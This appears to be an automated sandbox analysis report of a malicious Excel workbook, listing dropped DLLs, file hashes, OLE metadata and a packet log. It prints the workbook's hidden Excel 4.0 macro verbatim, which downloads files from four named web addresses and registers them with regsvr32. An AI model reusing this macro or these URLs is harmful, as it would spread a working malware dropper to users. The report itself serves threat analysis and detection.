Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\KuSAkvGE\rWFJGQNl.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.1527177644825635
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7fxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7ly/BJ7rGTK/V3
MD5:	C9FD6F4A594719F21F310D8D0A2E55BB
SHA1:	D999195E150304EF6FA4AE5362FDB70D0457429B
SHA-256:	E654F14F3A98027669FD428597A2B4967B5276BDB94DA7770189E791FD98FC50
SHA-512:	BC7F62214F70076027355858367004A019FBE18EE9404AC58ECC550C9EF5F2B3DB6A01E2B60A33E55B5FE323D52CD1BA0C455AA2C99E058140F9ABD5AF5B8E8E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\PLVmoWLosZJQb\bTjwWDTWvnC.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.152718217466625
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7LxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7xy/BJ7rGTK/V3
MD5:	646CA94D40F268C87215FFEA9FD0E826
SHA1:	22E67EB4D6E4B5F09E3DE5A6021462ADCF99FE75
SHA-256:	52769F52F479F16D61C449D307C7FD1FA23FAA0B5589500E0967CD7955CA93D6
SHA-512:	5AE522EB99551146F84F9AA94F270083CEDC1BB8DF26697E15D57FCF7AF126766F8F18ED4FFAC06DF46D88E07C08A8523CD8A4187AF3DD8173BAF35272DE794B
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 07:48:11 2022, Security: 0
Entropy (8bit):	6.4271376493454015
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	DETAILS 25922194612.xls
File size:	69120
MD5:	3cfaa4009799dc19f12161241bbf7b03
SHA1:	f36b5b095c84f4cf7e01eaf23de008a3362843a8
SHA256:	96eaa313abb56196eea9e8c4c20f78166b79894652e1cff740729d17aace22f0
SHA512:	e238c7e2c0f14ec8c48faf424e187f9745bcbf94360759e521bc1a063f2d764514a4596709aa3cd645e5fd3f0e60fe510c3bfed7472fbd4a671de370098672e4
SSDEEP:	1536:5VKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+y9s1a6YG2jzQ0viPvDNHh9e2:fKpb8rGYrMPe3q7Q0XV5xtezE8vG8UMU
TLSH:	1A635B467A59C92DF914D33549D74BA97316FC318FAB0B833225B324AFFD8A05A0361B
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "DETAILS 25922194612.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Code Page:	1251
Author:	Dream
Last Saved By:	TYHRETH
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2022-05-20 06:48:11
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.404258978601
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t . . . . . E S R S G B 1 . . . . . E G S H R H V 2 . . . . . E S H V G R E R 3 . . . . . P K E K P P G
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 18 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 d7 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.290129672422
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D r e a m . . . . . . . . . . . T Y H R E T H . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . . - . . l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 58563

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	58563
Entropy:	7.09409181726
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . T Y H R E T H B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . . X . @ . . . . . . . . . . . " . . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 07 00 00 54 59 48 52 45 54 48 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepre7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://learnviaonline.com/wp-admin/qGb/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kolejleri.com/wp-admin/REvup/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://stainedglassexpress.com/classes/05SkiiW9y4DDGvb6/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://milanstaffing.com/images/D4TRnDubF/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepost7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://learnviaonline.com/wp-admin/qGb/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kolejleri.com/wp-admin/REvup/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://stainedglassexpress.com/classes/05SkiiW9y4DDGvb6/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://milanstaffing.com/images/D4TRnDubF/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)10,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://learnviaonline.com/wp-admin/qGb/","..\uxevr1.ocx",0,0)12,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")14,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kolejleri.com/wp-admin/REvup/","..\uxevr2.ocx",0,0)16,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")18,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://stainedglassexpress.com/classes/05SkiiW9y4DDGvb6/","..\uxevr3.ocx",0,0)20,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")22,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://milanstaffing.com/images/D4TRnDubF/","..\uxevr4.ocx",0,0)24,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")28,5,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 09:10:53.607258081 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:53.771838903 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.772059917 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:53.772973061 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:53.924093008 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993267059 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993318081 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993345976 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993374109 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993402958 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993429899 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993458033 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993484974 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993510962 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993540049 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:53.993557930 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:53.993607998 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:53.993613005 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:53.993616104 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:53.993618965 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.005163908 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.141078949 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.141186953 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.141227007 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.141268969 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.141309977 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.141427994 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.141473055 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.141645908 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.141758919 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.141848087 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.141849995 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.141941071 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.142019987 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.142028093 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.142123938 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.142195940 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.142208099 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.142298937 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.142373085 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.142385960 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.142471075 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.142518997 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.142550945 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.142555952 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.142628908 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.142648935 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.142741919 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.142824888 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.143280983 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.146006107 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.146059990 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.146188021 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.312135935 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.312165976 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.312192917 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.312211037 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.312328100 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.312897921 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.312922001 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.312937021 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.312954903 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313024998 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.313071012 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.313555002 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313584089 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313621044 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313653946 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313658953 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.313673019 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313695908 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313707113 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.313713074 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313731909 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313747883 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313765049 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313781977 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313800097 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313801050 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.313817024 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313833952 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313846111 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.313851118 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313869953 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313886881 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313889980 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.313905001 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313921928 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313937902 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313940048 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.313956022 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313973904 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313990116 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.313998938 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.314008951 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.314024925 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.314048052 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.314057112 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.314074039 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.314090014 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.314096928 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.314136982 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.314508915 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.321500063 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.321537971 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.321654081 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.479271889 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479315042 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479331970 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479348898 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479365110 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479381084 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479448080 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.479501963 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.479656935 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479676008 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479693890 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479701996 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.479713917 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479727030 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.479731083 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479737043 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.479749918 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.479753017 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.479785919 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.479818106 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.480354071 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.480834961 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.480853081 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.480885983 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.480901003 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.480916023 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.480920076 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.480926037 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.480940104 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.480963945 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.480978966 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.480984926 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.480998039 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481010914 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481023073 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481040001 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481056929 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481064081 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481076002 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481077909 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481095076 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481102943 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481115103 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481117964 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481133938 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481137991 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481153011 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481153965 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481184959 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481187105 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481203079 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481219053 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481220007 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481240988 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481257915 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481276035 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481296062 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481297016 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481312037 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481314898 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481329918 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481332064 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481343031 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481350899 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.481354952 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481385946 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.481584072 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.488051891 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.488082886 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.488143921 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.658050060 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.658085108 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.658612967 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.659826994 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.659854889 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.659878969 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.659902096 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.659914017 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.659923077 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.659945965 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.659949064 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.659970045 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.659991980 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.659995079 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.660013914 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.660015106 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.660054922 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.660058022 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.660103083 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.660594940 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.660618067 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.660654068 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.660726070 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:10:54.660837889 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.660862923 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:10:54.660898924 CEST	49173	80	192.168.2.22	103.171.181.223
